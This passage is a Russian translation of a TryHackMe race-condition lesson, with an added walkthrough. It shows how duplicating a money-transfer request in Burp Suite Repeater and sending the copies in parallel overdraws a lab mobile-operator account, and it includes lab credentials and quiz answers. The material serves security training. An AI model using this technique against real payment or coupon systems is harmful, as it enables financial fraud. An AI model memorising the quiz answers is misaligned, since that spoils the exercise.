    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/d81b4960e5e7d02aaf91b4d1f4c336c4.svg&quot; width=&quot;730&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;pFZX&quot;&gt;Штаты&lt;/h2&gt;
  &lt;p id=&quot;9LGa&quot;&gt;Прежде чем углубляться в тему, рассмотрим несколько примеров из области бизнес-логики. Рассмотрим следующие примеры:&lt;/p&gt;
  &lt;ul id=&quot;8iJP&quot;&gt;
    &lt;li id=&quot;NPD5&quot;&gt;Проверка и осуществление денежных переводов.&lt;/li&gt;
    &lt;li id=&quot;gf0C&quot;&gt;Проверка промокодов и применение скидок.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;16V1&quot;&gt;Проверка и осуществление денежных переводов&lt;/h3&gt;
  &lt;p id=&quot;2nKy&quot;&gt;Рассмотрим пример перевода денег другу или на другой свой счет. Программа будет работать следующим образом:&lt;/p&gt;
  &lt;ol id=&quot;A8TE&quot;&gt;
    &lt;li id=&quot;DgUm&quot;&gt;Пользователь нажимает кнопку «Подтвердить перевод».&lt;/li&gt;
    &lt;li id=&quot;Q6AL&quot;&gt;Приложение запрашивает данные из базы данных, чтобы подтвердить, что баланс счета покрывает сумму перевода.&lt;/li&gt;
    &lt;li id=&quot;2T3l&quot;&gt;База данных отвечает на запрос.&lt;/li&gt;
    &lt;ol id=&quot;DaCB&quot;&gt;
      &lt;li id=&quot;g1rS&quot;&gt;Если сумма находится в пределах лимитов счета, приложение выполняет транзакцию.&lt;/li&gt;
      &lt;li id=&quot;x0Ra&quot;&gt;Если сумма превышает лимит счета, приложение выдает сообщение об ошибке.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;z78c&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a85571359f7d2a6df3f6135b3e49a069.svg&quot; width=&quot;840&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;i2jk&quot;&gt;В идеальном случае приведенный выше код приводит к двум состояниям программы:&lt;/p&gt;
  &lt;ul id=&quot;v6oq&quot;&gt;
    &lt;li id=&quot;Qmvs&quot;&gt;Сумма не отправлена&lt;/li&gt;
    &lt;li id=&quot;ct1L&quot;&gt;Отправленная сумма&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;CQSh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5f04259cf9bf5b57aed2c476-1750346443769.svg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;4kpJ&quot;&gt;Проверка промокодов и применение скидок.&lt;/h3&gt;
  &lt;p id=&quot;axxN&quot;&gt;Рассмотрим пример применения купона на скидку. Пользователь заходит в корзину и добавляет купон, чтобы получить скидку. Последовательность действий может выглядеть примерно так:&lt;/p&gt;
  &lt;ol id=&quot;YVT7&quot;&gt;
    &lt;li id=&quot;QvAK&quot;&gt;Пользователь вводит промокод&lt;/li&gt;
    &lt;li id=&quot;zBUE&quot;&gt;Приложение запрашивает данные из базы данных, чтобы определить, действителен ли промокод и существуют ли какие-либо ограничения.&lt;/li&gt;
    &lt;li id=&quot;fz5x&quot;&gt;База данных отвечает, указывая на достоверность и ограничения.&lt;/li&gt;
    &lt;ol id=&quot;H5F9&quot;&gt;
      &lt;li id=&quot;mIny&quot;&gt;Скидка применяется, если код действителен и нет ограничений на его применение для данного пользователя.&lt;/li&gt;
      &lt;li id=&quot;ozts&quot;&gt;Если код недействителен или существуют ограничения на его применение для данного пользователя, отображается сообщение об ошибке.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;2yue&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5f22358005dabe4be5ded6a16b7499ad.svg&quot; width=&quot;840&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;amWJ&quot;&gt;Приведённый выше код приводит к нескольким состояниям программы:&lt;/p&gt;
  &lt;ul id=&quot;WIka&quot;&gt;
    &lt;li id=&quot;3BvE&quot;&gt;Купон не применен&lt;/li&gt;
    &lt;li id=&quot;g1bZ&quot;&gt;Купон применен&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;fNIk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/d6787ffe68c2d225144344700326529d.svg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;RCyQ&quot;&gt;Два штата? Подумайте ещё раз.&lt;/h2&gt;
  &lt;p id=&quot;sw8r&quot;&gt;Продолжим анализ применения купона на скидку. В идеале мы ожидаем два состояния: &lt;strong&gt;«Купон не применен»&lt;/strong&gt; и &lt;strong&gt;«Купон применен»&lt;/strong&gt; . Однако это слишком упрощенно для описания реальных сложных сценариев. Мы можем добавить промежуточное состояние: &lt;strong&gt;«Проверка применимости купона»&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;1npG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/0fc7e963d1e251b50b379d0a19039e6f.svg&quot; width=&quot;1760&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9c85&quot;&gt;В зависимости от способа разработки приложения можно ожидать больше состояний. Например, &lt;strong&gt;проверка применимости купона&lt;/strong&gt; может включать два состояния: &lt;strong&gt;проверка действительности купона&lt;/strong&gt; и &lt;strong&gt;проверка ограничений купона&lt;/strong&gt; . Купон может быть действителен, но существующие ограничения не позволяют его использовать. Аналогично, &lt;strong&gt;применение купона&lt;/strong&gt; может быть разделено на два состояния, одно из которых — &lt;strong&gt;перерасчет общей суммы&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;qNou&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a39d6bea81fd850ce9e02f9fbfdc4d55.svg&quot; width=&quot;1680&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YRee&quot;&gt;&lt;strong&gt;Почему это важно для условий гонки?&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;hIX8&quot;&gt;На приведенной выше диаграмме состояний видно, что мы проходим через несколько состояний, прежде чем купон будет помечен как примененный. Давайте изобразим состояния на временной оси, как показано ниже.&lt;/p&gt;
  &lt;figure id=&quot;5I9e&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/4bcf6a7618f9a140f0807ae590106b78.svg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nRYm&quot;&gt;Между моментом попытки добавления купона и моментом, когда купон помечается как примененный и его нельзя применить повторно, существует временной промежуток. Пока купон не помечен как примененный, скорее всего, никакие механизмы контроля не препятствуют его многократному использованию. В течение этого временного промежутка мы можем использовать его несколько раз.&lt;/p&gt;
  &lt;p id=&quot;Lmpd&quot;&gt;Аналогичная ситуация наблюдается и при рассмотрении состояний программы, осуществляющей денежный перевод. Хотя в идеале должно быть два состояния, с учетом бизнес-логики мы можем легко обновить диаграмму, включив в нее три состояния. Причина в том, что мы ожидаем некоторого времени, затрачиваемого на проверку баланса счета и лимитов; хотя это время может быть небольшим, оно не равно нулю. Если мы копнем глубже, мы сможем обнаружить больше «скрытых» состояний.&lt;/p&gt;
  &lt;figure id=&quot;2XSd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5f04259cf9bf5b57aed2c476-1750346478448.svg&quot; width=&quot;1760&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qsUW&quot;&gt;Однако, даже если веб-приложение уязвимо, нам все равно предстоит преодолеть одну проблему: временные рамки. Даже в уязвимых приложениях это «окно возможностей» относительно короткое; поэтому для его использования необходимо, чтобы наши запросы достигали сервера одновременно. На практике мы стремимся к тому, чтобы наши повторные запросы достигали сервера с интервалом всего в миллисекунды.&lt;/p&gt;
  &lt;p id=&quot;I3JS&quot;&gt;Как нам добиться того, чтобы дублирующиеся запросы достигали сервера в течение этого короткого промежутка времени? Нам нужен такой инструмент, как Burp Suite .&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Ajgb&quot;&gt;Вопрос: Сколько состояний&lt;strong&gt; содержала исходная&lt;/strong&gt; схема состояний «проверка и осуществление денежных переводов»?&lt;/p&gt;
    &lt;p id=&quot;UB0G&quot;&gt;Ответ: 2&lt;/p&gt;
    &lt;p id=&quot;P1wn&quot;&gt;Вопрос: Сколько состояний содержала &lt;strong&gt;обновленная&lt;/strong&gt; схема состояний «проверка и осуществление денежных переводов»?&lt;/p&gt;
    &lt;p id=&quot;7Hqy&quot;&gt;Ответ: 3&lt;/p&gt;
    &lt;p id=&quot;2aTm&quot;&gt;Вопрос: Сколько состояний содержала &lt;strong&gt;итоговая&lt;/strong&gt; диаграмма состояний «проверка кодов купонов и применение скидок»?&lt;/p&gt;
    &lt;p id=&quot;Ozop&quot;&gt;Ответ: 5&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;hqzu&quot;&gt;&lt;strong&gt;5. Использование условий гонки&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;7De5&quot;&gt;Нажмите кнопку &lt;strong&gt;«Запустить машину»&lt;/strong&gt; справа, чтобы запустить подключенную виртуальную машину . Нажмите кнопку &lt;strong&gt;«Запустить AttackBox»&lt;/strong&gt; вверху, чтобы запустить AttackBox. В AttackBox перейдите по адресу &lt;a href=&quot;http://MACHINE_IP:8080&quot; target=&quot;_blank&quot;&gt;http://MACHINE_IP:8080&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;VWVK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fc/35/fc35026d-de02-4faf-900d-2a16b1f3a7b2.png&quot; width=&quot;864&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Zn8F&quot;&gt;Это учетные данные двух пользователей:&lt;/p&gt;
  &lt;ul id=&quot;I6gA&quot;&gt;
    &lt;li id=&quot;oWZy&quot;&gt;Пользователь1:&lt;code&gt;07799991337&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;6u84&quot;&gt;Пароль:&lt;code&gt;pass1234&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;W5XN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3a/a9/3aa938f8-5164-4b71-9aba-6373dfd8a924.png&quot; width=&quot;733&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;N5LS&quot;&gt;И&lt;/p&gt;
  &lt;ul id=&quot;T6ir&quot;&gt;
    &lt;li id=&quot;SsVv&quot;&gt;Пользователь2:&lt;code&gt;07113371111&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;K2hx&quot;&gt;Пароль:&lt;code&gt;pass1234&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;NFw2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/cc/8bcc255f-d9a1-4c58-b2e2-1012a141a6cb.png&quot; width=&quot;723&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;S8F4&quot;&gt;Это веб-приложение принадлежит мобильному оператору и позволяет переводить средства на счет телефона. В этой демонстрации мы проверим, подвержена ли система уязвимости типа «гонка», и попытаемся использовать её, переведя больше средств, чем у нас есть на счету.&lt;/p&gt;
  &lt;p id=&quot;XE7u&quot;&gt;Для начала нам нужно изучить, как целевое веб-приложение получает HTTP-запросы и как оно на них отвечает. Используя Burp Suite &lt;strong&gt;Proxy&lt;/strong&gt; , нажмите «Открыть браузер» на вкладке &lt;strong&gt;«Перехват»&lt;/strong&gt; . (Если вы получите сообщение об ошибке, связанное с включением песочницы браузера, вам необходимо вручную изменить настройки. В этом случае нажмите &lt;strong&gt;«Настройки»&lt;/strong&gt; в правом верхнем углу окна Burp Suite, выберите &lt;strong&gt;браузер Burp&lt;/strong&gt; в разделе &lt;strong&gt;«Инструменты»&lt;/strong&gt; и установите флажок « &lt;strong&gt;Разрешить браузеру Burp&lt;/strong&gt; работать &lt;strong&gt;без песочницы»&lt;/strong&gt; .) Используя встроенный браузер, мы можем просмотреть целевой сайт и изучить, как он обрабатывает наши HTTP-запросы, в частности, сами HTTP- запросы и соответствующие ответы. На вкладке « &lt;strong&gt;История HTTP»&lt;/strong&gt; регистрируется каждый HTTP- запрос и соответствующий ответ.&lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;htoc&quot;&gt;Войдите в любой из аккаунтов и нажмите кнопку &lt;strong&gt;«Оплата и пополнение»&lt;/strong&gt; . Давайте совершим перевод средств: нажмите кнопку &lt;strong&gt;«Перевод»&lt;/strong&gt; и введите номер мобильного телефона другого аккаунта, а также сумму, которую хотите перевести. Вы можете попробовать перевести сумму, превышающую ваш текущий баланс, и небольшую сумму, например, 1 доллар, чтобы посмотреть, как система отреагирует в каждом случае.&lt;/p&gt;
  &lt;figure id=&quot;rRVg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/fe/0efe8dc5-66ae-487d-bb62-128a5abcae7b.png&quot; width=&quot;1501&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3mDx&quot;&gt;Burp Suite : Repeater&lt;/h2&gt;
  &lt;p id=&quot;lbIG&quot;&gt;На изображении ниже мы видим:&lt;/p&gt;
  &lt;ol id=&quot;nzj6&quot;&gt;
    &lt;li id=&quot;WBd9&quot;&gt;Запрос&lt;code&gt;POST&lt;/code&gt;​&lt;/li&gt;
    &lt;li id=&quot;KAH1&quot;&gt;В подробностях указан целевой номер телефона и сумма перевода в размере 1,5 доллара.&lt;/li&gt;
    &lt;li id=&quot;vfAn&quot;&gt;Из полученного ответа можно сделать вывод, что транзакция прошла успешно.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;Gx8k&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/714563c050f0418dd577a28c99ac00e8.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3evn&quot;&gt;Теперь, когда мы рассмотрели, как система реагирует на действительные и недействительные запросы, давайте посмотрим, сможем ли мы использовать состояние гонки. Щелкните правой кнопкой мыши по &lt;code&gt;POST&lt;/code&gt;запросу, который хотите скопировать, и выберите &lt;strong&gt;«Отправить в повторитель»&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;NmdH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8b4a880018ffe0f24bfd1535e1ec8676.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rlR5&quot;&gt;На вкладке &lt;strong&gt;«Повторитель»&lt;/strong&gt; , как показано на пронумерованных скриншотах ниже:&lt;/p&gt;
  &lt;ol id=&quot;CP8Y&quot;&gt;
    &lt;li id=&quot;wMO7&quot;&gt;Щелкните &lt;code&gt;+&lt;/code&gt;значок рядом с вкладкой «Полученные запросы» и выберите &lt;strong&gt;«Создать группу вкладок».&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;UgBJ&quot;&gt;Присвойте группе имя и укажите вкладку запроса, который вы только что отправили импортеру, прежде чем нажать кнопку &lt;strong&gt;«Создать».&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;IzJ5&quot;&gt;Щелкните правой кнопкой мыши на вкладке запроса и выберите &lt;strong&gt;«Дублировать вкладку»&lt;/strong&gt; (если эта опция недоступна в вашей версии, вы можете вместо этого несколько раз нажать &lt;strong&gt;CTRL&lt;/strong&gt; + &lt;strong&gt;R ).&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;2REp&quot;&gt;Для начала мы повторим это 20 раз.&lt;/li&gt;
    &lt;li id=&quot;6tMf&quot;&gt;Рядом с кнопкой «Отправить» стрелка, указывающая вниз, откроет меню, позволяющее выбрать способ отправки дублирующихся запросов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;Iqcf&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/0791576ab6442ee8bc7b5c816075a48e.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;UhIb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/58ea5e9b87072fde3c104aa8c69dcb80.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DXDx&quot;&gt;Далее мы воспользуемся уязвимостью целевого приложения, отправив дублированный запрос. Используя встроенные параметры Burp Suite Repeater, стрелка раскрывающегося списка предлагает следующие варианты:&lt;/p&gt;
  &lt;ul id=&quot;nHPn&quot;&gt;
    &lt;li id=&quot;L2vb&quot;&gt;Отправка группы последовательно ( &lt;strong&gt;одно соединение&lt;/strong&gt; )&lt;/li&gt;
    &lt;li id=&quot;HeQk&quot;&gt;Отправка группы последовательно ( &lt;strong&gt;отдельные соединения&lt;/strong&gt; )&lt;/li&gt;
    &lt;li id=&quot;0HoA&quot;&gt;Отправка группы параллельно&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;Iy2a&quot;&gt;Последовательная отправка группы запросов&lt;/h2&gt;
  &lt;p id=&quot;6OyY&quot;&gt;При последовательной отправке группы предоставляются два варианта:&lt;/p&gt;
  &lt;ul id=&quot;LYAo&quot;&gt;
    &lt;li id=&quot;B6qi&quot;&gt;Отправка группы последовательно ( &lt;strong&gt;одно соединение&lt;/strong&gt; )&lt;/li&gt;
    &lt;li id=&quot;t5IQ&quot;&gt;Отправка группы последовательно ( &lt;strong&gt;отдельные соединения&lt;/strong&gt; )&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;HLAE&quot;&gt;&lt;strong&gt;Отправка группы сообщений последовательно по одному соединению.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;myRp&quot;&gt;Этот параметр устанавливает единственное соединение с сервером и отправляет все запросы во вкладки группы перед закрытием соединения. Это может быть полезно для тестирования на предмет потенциальных уязвимостей, связанных с рассинхронизацией на стороне клиента.&lt;/p&gt;
  &lt;p id=&quot;0MPc&quot;&gt;&lt;strong&gt;Отправка групповых сообщений последовательно по отдельным соединениям.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;4Grs&quot;&gt;Как следует из названия, эта опция устанавливает TCP-соединение, отправляет запрос от группы и закрывает TCP-соединение, после чего процесс повторяется для последующего запроса.&lt;/p&gt;
  &lt;p id=&quot;OafE&quot;&gt;Мы протестировали этот вариант атаки на веб-приложение. На скриншоте ниже показаны 21 TCP-соединение для различных POST-запросов в отправленной нами группе.&lt;/p&gt;
  &lt;ul id=&quot;wemg&quot;&gt;
    &lt;li id=&quot;2afQ&quot;&gt;Первая группа (обозначена цифрой 1) включает пять успешных запросов. Мы смогли подтвердить их успешность, проверив соответствующие ответы. Кроме того, мы заметили, что каждый запрос занимал около 3 секунд, как показано на графике (обозначен цифрой 3).&lt;/li&gt;
    &lt;li id=&quot;OT76&quot;&gt;Вторая группа (обозначенная цифрой 2) показывает шестнадцать отклоненных запросов. Длительность составила около четырех миллисекунд. Интересно также проверить относительное время начала.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;QjxM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5b4c02c24aa5d28de8856a161416cb24.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;M8VP&quot;&gt;На скриншоте ниже показано всё TCP-соединение для запроса. Мы можем подтвердить, что &lt;code&gt;POST&lt;/code&gt;запрос был отправлен одним пакетом.&lt;/p&gt;
  &lt;figure id=&quot;megu&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/c74da214d087b71fa9a7cffe37f0d439.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Sl87&quot;&gt;Отправка группы запросов параллельно&lt;/h2&gt;
  &lt;p id=&quot;Thkw&quot;&gt;Выбор параллельной отправки запросов группы приведет к тому, что ретранслятор отправит все запросы группы одновременно. В этом случае мы наблюдаем следующее, как показано на скриншоте ниже:&lt;/p&gt;
  &lt;ul id=&quot;mE8A&quot;&gt;
    &lt;li id=&quot;kpBq&quot;&gt;В столбце «Относительное начало» мы видим, что все 21 пакет были отправлены в течение окна в 0,5 миллисекунды (обозначено цифрой 1).&lt;/li&gt;
    &lt;li id=&quot;cC6Q&quot;&gt;Все 21 запрос были успешно выполнены; в результате был успешно осуществлен перевод средств. Выполнение каждого запроса заняло около 3,2 секунды (обозначено цифрой 2).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;fNen&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/0eeea41a616bc42b2eff1dbaa35d9483.png&quot; width=&quot;1971&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Dhvn&quot;&gt;Внимательно изучив скриншот выше, мы видим, что каждый запрос приводил к отправке 12 пакетов; однако в предыдущей попытке (последовательная отправка) каждый запрос требовал всего 10 пакетов. Почему это произошло?&lt;/p&gt;
  &lt;p id=&quot;g7yH&quot;&gt;Согласно документации &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/tools/repeater/send-group&quot; target=&quot;_blank&quot;&gt;по отправке групповых HTTP-запросов&lt;/a&gt; , при параллельной отправке Repeater использует различные методы для синхронизации поступления запросов к целевому объекту, то есть для обеспечения их поступления в течение короткого промежутка времени. Метод синхронизации зависит от используемого HTTP-протокола:&lt;/p&gt;
  &lt;ul id=&quot;UwWR&quot;&gt;
    &lt;li id=&quot;7Uy8&quot;&gt;В случае HTTP/2+, ретранслятор пытается отправить всю группу в одном пакете. Другими словами, один TCP- пакет будет содержать несколько запросов.&lt;/li&gt;
    &lt;li id=&quot;3ExS&quot;&gt;В случае HTTP/1, Repeater прибегает к синхронизации по последнему байту. Этот приём достигается за счёт удержания последнего байта из каждого запроса. Только после отправки всех пакетов без последнего байта отправляется последний байт всех запросов. На скриншоте ниже показан наш &lt;code&gt;POST&lt;/code&gt;запрос, отправленный в двух пакетах.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;UCxX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/50de5a50b80906df95054b339eb87826.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;36Vo&quot;&gt;Делаем 100 баксов!&lt;/p&gt;
  &lt;p id=&quot;RW7z&quot;&gt;Чтобы получить рейскондитион ( гонку вооружений) с 1 аккаунта отправим 1 доллар на другой &lt;/p&gt;
  &lt;figure id=&quot;EJ9T&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/f5/c5f59a52-a878-4eb4-abba-b74d76482e01.png&quot; width=&quot;1038&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JOD5&quot;&gt;Перехватываем &lt;/p&gt;
  &lt;figure id=&quot;d1ve&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/37/e33713bb-5add-4fca-b91f-02b7455094d0.png&quot; width=&quot;1521&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;c3Wx&quot;&gt;Отправляем в репитор &lt;/p&gt;
  &lt;figure id=&quot;M4Qk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/2f/c32fcc1a-d6b4-47e5-8a3a-ad9878d3d605.png&quot; width=&quot;694&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bd85&quot;&gt;Создаем группу&lt;/p&gt;
  &lt;figure id=&quot;lUj6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/9a/1d9a6e3f-edf4-40a4-bde2-3592e0299d13.png&quot; width=&quot;314&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AQNZ&quot;&gt;Копируем запросы 100 раз ( но перед этим меняем сумму отправки на 2 доллара)&lt;/p&gt;
  &lt;figure id=&quot;JGtP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2a/7c/2a7c01aa-f2a3-4843-ad3d-86398c7d5fbe.png&quot; width=&quot;577&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fNOq&quot;&gt;Получаем в группу 100 запросов по 2 доллара&lt;/p&gt;
  &lt;figure id=&quot;QxoL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/e0/58e090a5-53c8-4ff1-b7d3-c0fc0add8650.png&quot; width=&quot;1313&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;t9Xh&quot;&gt;Отправляем запросы одним коннектом&lt;/p&gt;
  &lt;figure id=&quot;8wVK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/a2/faa21288-5d85-4bff-8e96-1aeb1add53c0.png&quot; width=&quot;378&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oeT0&quot;&gt;У нас стало на 2 доллара меньше &lt;/p&gt;
  &lt;figure id=&quot;YwkE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3c/80/3c80cc0d-0698-4dc8-91dc-e7bad6ceba3d.png&quot; width=&quot;451&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5k3J&quot;&gt;авторизуемся под другим пользователем и видим 11 баксов&lt;/p&gt;
  &lt;figure id=&quot;erZT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4b/05/4b05ddaa-8b96-4f4d-ac50-6b67c9c766f2.png&quot; width=&quot;1002&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uN9G&quot;&gt;значит все гуд, возравщаемся и пробуем отправить 100 запросов не в одном коннекте, а в нескольких.&lt;/p&gt;
  &lt;figure id=&quot;7tPh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/3c/7c3c6120-f47c-4a27-a25d-5395cddeb65f.png&quot; width=&quot;457&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;OuFB&quot;&gt;Проверяем от куда списывалось )&lt;/p&gt;
  &lt;figure id=&quot;jza0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ff/43/ff43a38d-99f6-4914-9c96-7fd762154420.png&quot; width=&quot;717&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PlZZ&quot;&gt;а на аккаунте куда отправили видим 79$&lt;/p&gt;
  &lt;figure id=&quot;nwtX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/86/a2/86a238ab-3355-4a2f-9b30-62dce58a137e.png&quot; width=&quot;706&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hQGs&quot;&gt;но нам же нужна 100$&lt;/p&gt;
  &lt;p id=&quot;wikM&quot;&gt;теперь попробуем работать с числами побольше, переливая деньги туда и сюда.&lt;/p&gt;
  &lt;figure id=&quot;zV8i&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/93/0b93ce1b-0821-4382-a8f6-e1c2cbb26cd6.png&quot; width=&quot;889&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tq99&quot;&gt;видим жирный минус - &lt;/p&gt;
  &lt;figure id=&quot;9ylo&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fb/42/fb424b98-a8e9-47b0-99da-0b0802bb7ea7.png&quot; width=&quot;727&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
